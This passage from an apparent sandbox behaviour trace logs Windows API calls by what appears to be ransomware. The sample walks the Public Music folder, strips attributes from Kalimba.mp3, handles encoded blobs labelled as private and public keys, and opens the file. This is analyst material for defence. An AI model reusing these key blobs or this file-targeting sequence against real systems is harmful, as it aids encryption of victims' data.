lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0108.423] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0108.423] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0108.423] GetLastError () returned 0x12 [0108.423] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0108.423] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0108.424] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0108.424] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0108.424] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0108.424] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0108.424] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0108.424] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0108.424] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0108.424] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0108.424] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0108.424] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0108.467] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0108.467] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0108.467] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0108.467] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0108.467] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0108.468] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0108.468] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0108.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1)) returned 1 [0108.523] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 0x20 [0108.523] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", dwFileAttributes=0x80) returned 1 [0108.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0108.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0108.635] GetCurrentThreadId () returned 0xa30 [0108.635] GetCurrentThreadId () returned 0xa30 [0108.635] GetCurrentThreadId () returned 0xa30 [0108.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0108.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0108.636] GetCurrentThreadId () returned 0xa30 [0108.636] GetCurrentThreadId () returned 0xa30 [0108.636] GetCurrentThreadId () returned 0xa30 [0108.636] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0108.636] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0108.637] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0108.637] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8064f1 [0108.637] SetFilePointer 